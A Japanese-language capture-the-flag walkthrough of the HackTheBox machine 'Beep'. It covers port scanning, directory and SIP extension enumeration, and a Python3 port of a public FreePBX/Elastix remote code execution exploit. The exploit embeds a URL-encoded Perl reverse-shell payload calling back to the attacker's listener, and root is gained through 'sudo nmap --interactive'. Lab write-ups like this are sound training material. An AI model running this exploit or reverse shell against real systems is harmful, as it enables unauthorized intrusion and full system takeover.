HackTheBox Beep Walkthrough
https://app.hackthebox.eu/machines/Beep
今回はHackTheBox BeepのWalkthrough書きます。
SIPサーバへのペンテスト、とても勉強になりました。
目次
ポートスキャン
nmapをかけたところ、やたらとメール系のサービスが多い。
Webはポート80番と10000番にあり、443番がいるのでHTTPSも動いている。
┌──(kali㉿kali)-[~/results] └─$ sudo nmap -A 10.10.10.7 [sudo] kali のパスワード: Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 14:42 JST Stats: 0:01:44 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 91.67% done; ETC: 14:44 (0:00:09 remaining) Stats: 0:02:02 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 91.67% done; ETC: 14:44 (0:00:10 remaining) Stats: 0:05:00 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 88.00% done; ETC: 14:47 (0:00:10 remaining) Stats: 0:05:48 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 96.00% done; ETC: 14:48 (0:00:05 remaining) Nmap scan report for 10.10.10.7 Host is up (0.080s latency). Not shown: 988 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) | ssh-hostkey: | 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA) |_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA) 25/tcp open smtp Postfix smtpd |_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 80/tcp open http Apache httpd 2.2.3 |_http-server-header: Apache/2.2.3 (CentOS) |_http-title: Did not follow redirect to https://10.10.10.7/ 110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 |_pop3-capabilities: UIDL IMPLEMENTATION(Cyrus POP3 server v2) LOGIN-DELAY(0) APOP USER EXPIRE(NEVER) PIPELINING AUTH-RESP-CODE RESP-CODES TOP STLS 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100024 1 875/udp status |_ 100024 1 878/tcp status 143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 |_imap-capabilities: ANNOTATEMORE NO IMAP4rev1 MULTIAPPEND ACL RENAME NAMESPACE OK THREAD=ORDEREDSUBJECT X-NETSCAPE MAILBOX-REFERRALS UIDPLUS LISTEXT IMAP4 IDLE CONDSTORE CATENATE THREAD=REFERENCES ID RIGHTS=kxte Completed BINARY ATOMIC STARTTLS LITERAL+ SORT=MODSEQ CHILDREN URLAUTHA0001 SORT QUOTA UNSELECT LIST-SUBSCRIBED 443/tcp open ssl/https? | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- | Not valid before: 2017-04-07T08:22:08 |_Not valid after: 2018-04-07T08:22:08 |_ssl-date: 2021-05-05T05:46:35+00:00; 0s from scanner time. 993/tcp open ssl/imap Cyrus imapd |_imap-capabilities: CAPABILITY 995/tcp open pop3 Cyrus pop3d 3306/tcp open mysql MySQL (unauthorized) |_ssl-cert: ERROR: Script execution failed (use -d to debug) |_ssl-date: ERROR: Script execution failed (use -d to debug) |_sslv2: ERROR: Script execution failed (use -d to debug) |_tls-alpn: ERROR: Script execution failed (use -d to debug) |_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug) 4445/tcp open upnotifyp? 10000/tcp open http MiniServ 1.570 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.91%E=4%D=5/5%OT=22%CT=1%CU=39300%PV=Y%DS=2%DC=T%G=Y%TM=609231F5 OS:%P=x86_64-pc-linux-gnu)SEQ(SP=CC%GCD=1%ISR=D1%TI=Z%CI=Z%II=I%TS=A)OPS(O1 OS:=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW OS:7%O6=M54DST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)ECN(R= OS:Y%DF=Y%T=40%W=16D0%O=M54DNNSNW7%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%R OS:D=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M54DST11NW7%RD=0%Q OS:=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A OS:=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%D OS:F=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL OS:=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com TRACEROUTE (using port 1025/tcp) HOP RTT ADDRESS 1 86.10 ms 10.10.14.1 2 86.54 ms 10.10.10.7 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 416.76 seconds
メール系はあまり経験がないので、Webサーバを見ることにした。
Webサーバの調査
普通にブラウザでアクセスしてみると、Elastixのログインページが出てきた。
Elastixは、電子メールやIP PBXなどのコラボレーションをしてくれるサービスらしい。
メール系のサービスいたし、もしかするとElastixの脆弱性を探す回なのではと勘ぐる。
そういえば、いつも通りautoreconをかけていたが、gobusterが失敗していた。
理由は、https接続で証明書検証をしようとしてコケていたから。
gobuster dir
で -k オプション
を使うと証明書の検証をしない。これで手動実行する。
┌──(kali㉿kali)-[~/tools/dirsearch] └─$ gobuster dir -u https://10.10.10.7/ -w /usr/share/dirb/wordlists/common.txt -s '200,204,301,302,307,403,500' -e -k =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: https://10.10.10.7/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Expanded: true [+] Timeout: 10s =============================================================== 2021/05/05 15:36:36 Starting gobuster in directory enumeration mode =============================================================== https://10.10.10.7/.hta (Status: 403) [Size: 282] https://10.10.10.7/.htaccess (Status: 403) [Size: 287] https://10.10.10.7/.htpasswd (Status: 403) [Size: 287] https://10.10.10.7/admin (Status: 301) [Size: 309] [--> https://10.10.10.7/admin/] https://10.10.10.7/cgi-bin/ (Status: 403) [Size: 286] https://10.10.10.7/configs (Status: 301) [Size: 311] [--> https://10.10.10.7/configs/] https://10.10.10.7/favicon.ico (Status: 200) [Size: 894] https://10.10.10.7/help (Status: 301) [Size: 308] [--> https://10.10.10.7/help/] https://10.10.10.7/images (Status: 301) [Size: 310] [--> https://10.10.10.7/images/] https://10.10.10.7/index.php (Status: 200) [Size: 1785] https://10.10.10.7/lang (Status: 301) [Size: 308] [--> https://10.10.10.7/lang/] https://10.10.10.7/libs (Status: 301) [Size: 308] [--> https://10.10.10.7/libs/] https://10.10.10.7/mail (Status: 301) [Size: 308] [--> https://10.10.10.7/mail/] https://10.10.10.7/modules (Status: 301) [Size: 311] [--> https://10.10.10.7/modules/] https://10.10.10.7/panel (Status: 301) [Size: 309] [--> https://10.10.10.7/panel/] https://10.10.10.7/robots.txt (Status: 200) [Size: 28] https://10.10.10.7/static (Status: 301) [Size: 310] [--> https://10.10.10.7/static/] https://10.10.10.7/themes (Status: 301) [Size: 310] [--> https://10.10.10.7/themes/] https://10.10.10.7/var (Status: 301) [Size: 307] [--> https://10.10.10.7/var/] =============================================================== 2021/05/05 15:39:28 Finished ===============================================================
いくつかのディレクトリにアクセスしてみる。
IP-PBXのログイン画面を見つけた。バージョンはFreePBX 2.8.1.4だった。
sslscan
もかけておく、TLSv1を使っていることが判明。
┌──(kali㉿kali)-[~] └─$ sslscan 10.10.10.7 Version: 2.0.9-static OpenSSL 1.1.1l-dev xx XXX xxxx Connected to 10.10.10.7 Testing SSL server 10.10.10.7 on port 443 using SNI name 10.10.10.7 SSL/TLS Protocols: SSLv2 disabled SSLv3 enabled TLSv1.0 enabled TLSv1.1 disabled TLSv1.2 disabled TLSv1.3 disabled TLS Fallback SCSV: Server does not support TLS Fallback SCSV TLS renegotiation: Secure session renegotiation supported TLS Compression: Compression enabled (CRIME) Heartbleed: TLSv1.0 not vulnerable to heartbleed Supported Server Cipher(s): Preferred TLSv1.0 256 bits DHE-RSA-AES256-SHA DHE 1024 bits Accepted TLSv1.0 128 bits DHE-RSA-AES128-SHA DHE 1024 bits Accepted TLSv1.0 112 bits DHE-RSA-DES-CBC3-SHA DHE 1024 bits Accepted TLSv1.0 256 bits AES256-SHA Accepted TLSv1.0 128 bits AES128-SHA Accepted TLSv1.0 128 bits RC4-SHA Accepted TLSv1.0 128 bits RC4-MD5 Accepted TLSv1.0 112 bits DES-CBC3-SHA Accepted TLSv1.0 56 bits TLS_RSA_WITH_DES_CBC_SHA Accepted TLSv1.0 56 bits TLS_DHE_RSA_WITH_DES_CBC_SHA SSL Certificate: Signature Algorithm: sha1WithRSAEncryption RSA Key Strength: 1024 Subject: localhost.localdomain Issuer: localhost.localdomain Not valid before: Apr 7 08:22:08 2017 GMT Not valid after: Apr 7 08:22:08 2018 GMT
ネスペで逃げまくってた電話の分野がついに出題されてしまった...
PoCの実行
ElastixのPoC、絶対ありそうと思って調べたところ、本当に出てきた。 FreePBXのバージョンもこれより下なので、動いてくれそうな予感。
ただし、Python3系で動かしたいので、少し手直しをしていく。 やることとしては、
- パラメータの確認
- TLS接続対応
パラメータの確認
実行時に渡すパラメータは4つあり、上から3つは実行環境に合わせささっと埋められる。
- rhost
- lhost
- lport
- extension
しかし、4つめのパラメータextension
は、SIPプロトコルの話を含む。
SIP Extensions
のことを指していて、通信を開始するため、デバイスに対し、呼制御サーバの情報を登録させる仕組みのこと。
これにより、呼制御サーバのユーザ名、パスワード、IPアドレスをデバイスに登録できる。
実際にSIPサーバとデバイスが通信するときの内線番号、みたいなものだと理解した。(ここはもう少し調べて追記するかも)
SIPVicious
のsvwar
を使ってextensionを特定してみると、233番で通信していることが判明。
SIPはセッション開始のとき、INVITE
を相手に送るので、片っ端から000-999までに送りつける。
┌──(kali㉿kali)-[~/Downloads] └─$ sudo svwar 10.10.10.7 -e000-999 -m INVITE WARNING:TakeASip:using an INVITE scan on an endpoint (i.e. SIP phone) may cause it to ring and wake up people in the middle of the night +-----------+----------------+ | Extension | Authentication | +===========+================+ | 233 | reqauth | +-----------+----------------+
TLS接続対応
そもそも、Python3のurllibは仕様変更があったので、書き換えが必要。
そして証明書の検証をさせたくない(何もしないとそれでエラーが出る。)
公式フォーラムを見つつ、以下を追記した。
ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
urllib.error.URLError: <urlopen error [SSL: DH_KEY_TOO_SMALL] dh key too small (_ssl.c:1123)>
とエラーが出る。
エラーで検索して、解決方法は以下を試した。ctx.set_ciphers('HIGH:!DH:!aNULL')
を追記し、下駄を履かせる。
PoCは最終的に以下の通り修正した。
#!/usr/bin/python ############################################################ # Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit # Google Dork: oy vey # Date: March 23rd, 2012 # Author: muts # Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others. # Tested on: multiple # CVE : notyet # Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/ # Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt ############################################################ # Discovered by Martin Tschirsich # http://seclists.org/fulldisclosure/2012/Mar/234 # http://www.exploit-db.com/exploits/18649 ############################################################ import urllib.request import ssl rhost="10.10.10.7" lhost="10.10.14.4" lport="1234" extension="233" ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE ctx.set_ciphers('HIGH:!DH:!aNULL') # Reverse shell payload url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A' urllib.request.urlopen(url, context=ctx) # On Elastix, once we have a shell, we can escalate to root: # root@bt:~# nc -lvp 443 # listening on [any] 443 ... # connect to [172.16.254.223] from voip [172.16.254.72] 43415 # id # uid=100(asterisk) gid=101(asterisk) # sudo nmap --interactive # Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ ) # Welcome to Interactive Mode -- press h <enter> for help # nmap> !sh # id # uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
いざ実行。
┌──(kali㉿kali)-[~/Downloads] └─$ python3 18650.py ┌──(kali㉿kali)-[~] └─$ nc -vlnp 1234 listening on [any] 1234 ... connect to [10.10.14.4] from (UNKNOWN) [10.10.10.7] 37853 id uid=100(asterisk) gid=101(asterisk) whomi whoami asterisk pwd /tmp cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash distcache:x:94:94:Distcache:/:/sbin/nologin vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash dbus:x:81:81:System message bus:/:/sbin/nologin apache:x:48:48:Apache:/var/www:/sbin/nologin mailman:x:41:41:GNU Mailing List Manager:/usr/lib/mailman:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin asterisk:x:100:101:Asterisk VoIP PBX:/var/lib/asterisk:/bin/bash rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin spamfilter:x:500:500::/home/spamfilter:/bin/bash haldaemon:x:68:68:HAL daemon:/:/sbin/nologin xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin fanis:x:501:501::/home/fanis:/bin/bash cat /home/fanis/user.txt
userは取れたが、rootはまだダメだった。
権限昇格
そもそも/root
が見られない。PWなしでsudoできそうなコマンドをsudo -l
で探す。
sudo -l Matching Defaults entries for asterisk on this host: env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY" User asterisk may run the following commands on this host: (root) NOPASSWD: /sbin/shutdown (root) NOPASSWD: /usr/bin/nmap (root) NOPASSWD: /usr/bin/yum (root) NOPASSWD: /bin/touch (root) NOPASSWD: /bin/chmod (root) NOPASSWD: /bin/chown (root) NOPASSWD: /sbin/service (root) NOPASSWD: /sbin/init (root) NOPASSWD: /usr/sbin/postmap (root) NOPASSWD: /usr/sbin/postfix (root) NOPASSWD: /usr/sbin/saslpasswd2 (root) NOPASSWD: /usr/sbin/hardware_detector (root) NOPASSWD: /sbin/chkconfig (root) NOPASSWD: /usr/sbin/elastix-helper
chmod
はできそうだったので、/root
の中身の権限を変えたが、root.txtは頑固だった...
sudo chmod -R 755 /root ls -ltr /root total 16248 -rwxr-xr-x 1 root root 190461 Aug 10 2011 elastix-pr-2.2-1.i386.rpm -rwxr-xr-x 1 root root 16358730 Oct 31 2011 webmin-1.570-1.noarch.rpm -rwxr-xr-x 1 root root 0 Apr 7 2017 install.log.syslog -rwxr-xr-x 1 root root 18433 Apr 7 2017 install.log -rwxr-xr-x 1 root root 6025 Apr 7 2017 anaconda-ks.cfg -rwxr-xr-x 1 root root 1 Apr 7 2017 postnochroot -rw------- 1 root root 33 May 3 11:31 root.txt
PoCの中身をよく見ると、シェル取れたらnmapすれば権限昇格できる、とあったので利用。
(そもそもそこ読み落としていたという...)
sudo nmap --interactive Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h <enter> for help nmap> !bash sudo -l Matching Defaults entries for root on this host: env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY" User root may run the following commands on this host: (ALL) ALL cat /root/root.txt
無事取れました。SIPは来年の試験のためにも勉強しておこう...